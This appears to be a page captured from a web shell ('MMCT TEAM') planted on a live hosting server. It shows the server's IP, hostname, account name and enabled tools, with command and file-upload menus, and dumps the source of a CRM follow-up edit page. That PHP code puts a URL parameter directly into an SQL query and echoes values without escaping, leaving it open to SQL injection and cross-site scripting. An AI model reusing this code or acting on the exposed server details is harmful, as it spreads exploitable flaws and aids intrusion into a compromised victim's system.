MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/crm/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/crm/client_follwup_edit.php
<?php
session_start();
if (!isset($_SESSION['uid'])) {
    header("Location: login.php");
}

$se = $_SESSION["uid"];

include 'include/config.php'; 

$bid = $_GET['id'];

$sql = "select * from client_follwup where id='$bid'";
$sql_res = mysqli_query($con, $sql) or die(mysqli_error($con));
$sql_row = mysqli_fetch_assoc($sql_res);


?>


<!doctype html>
<html lang="en">

    
<?php include 'include/head.php'; ?>

    <body>

    <!-- <body data-layout="horizontal"> -->

        <!-- Begin page -->
        <div id="layout-wrapper">

            
         <?php include 'include/header.php'; ?>

          <div class="vertical-menu">

                <div data-simplebar class="h-100">

                    <!--- Sidemenu -->
                    <?php include 'include/menu.php'; ?>
                    <!-- Sidebar -->
                </div>
            </div>

            

            <!-- ============================================================== -->
            <!-- Start right Content here -->
            <!-- ============================================================== -->
            <div class="main-content">

                <div class="page-content">
                    <div class="container-fluid">

                        <!-- start page title -->
                        <div class="row">
                            <div class="col-12">
                                <div class="page-title-box d-sm-flex align-items-center justify-content-between">
                                    <h4 class="mb-sm-0 font-size-18">Client Follow Up Edit</h4>

                                    

                                </div>
                            </div>
                        </div>
                        <!-- end page title -->
                        <form method="POST" action="action/client_follwup_edit.php?id=<?php echo $bid; ?>" enctype="multipart/form-data">
                        <div class="row">
                            <div class="col-12">
                                <div class="card">
                                    
                                    <div class="card-body p-4">
        
                                        <div class="row">
                                            

                                            <div class="col-lg-4">
                                                <div>
                                                    <div class="mb-3">
                                                        <label for="example-text-input" class="form-label">Customer</label>
                                                        <select class="form-select" name="cust" id="cust">
                                                         <option value="">Select Customer</option>
                                                            
                                                            

                                                                 <?php
                                                        $new_qu = "select * from tbl_user ";
                                                        $new_res = mysqli_query($con, $new_qu) or die(mysqli_error($con));

                                                        while ($new_row = mysqli_fetch_assoc($new_res)) { 
                                                            $name = $new_row['fname'] . $new_row['lname'];
                                                            ?>
                                                            <?php if ($new_row['id'] == $sql_row['custname']) { ?>
                                                                <option value="<?php echo $new_row['id']; ?>" selected><?php echo $name; ?></option>
                                                            <?php } else { ?>
                                                                <option value="<?php echo $new_row['id']; ?>"><?php echo $name; ?></option>
                                                            <?php } ?>
                                                        <?php } ?>
                                                                
                                                        </select>
                                                    </div>
                                                    
                                                </div>
                                            </div> 

                                              <div class="col-lg-4">
                                                <div>
                                                    <div class="mb-3">
                                                        <label for="example-text-input" class="form-label">Follow Details</label>
                                                        <textarea id="progresspill-address-input" name="fdesc" class="form-control" rows="2" placeholder="Enter your Follow Details"><?php echo $sql_row['details']; ?></textarea>
                                                    </div>
                                                    
                                                </div>
                                            </div>
                                           

                                          

                                           

                                            


                                          

                                           

                                             




                                        </div>

                                        <div class="mt-4">
                                                            <button type="submit" class="btn btn-primary w-md">Submit</button>
                                        </div>

                                    </div>
                                </div>
                            </div> <!-- end col -->
                        </div>
                        </form>
                       <!-- end row -->
                    </div> <!-- container-fluid -->
                </div>
                <!-- End Page-content -->

                <?php include 'include/footer.php'; ?>
                
            </div>
            <!-- end main content-->

        </div>
        <!-- END layout-wrapper -->

        
        <!-- Right Sidebar -->
        <?php include 'include/rightsidebar.php'; ?>
        <!-- /Right-bar -->

        <!-- Right bar overlay-->
        <div class="rightbar-overlay"></div>

        <?php include 'include/bscript.php'; ?>






    </body>

</html>

MMCT - 2023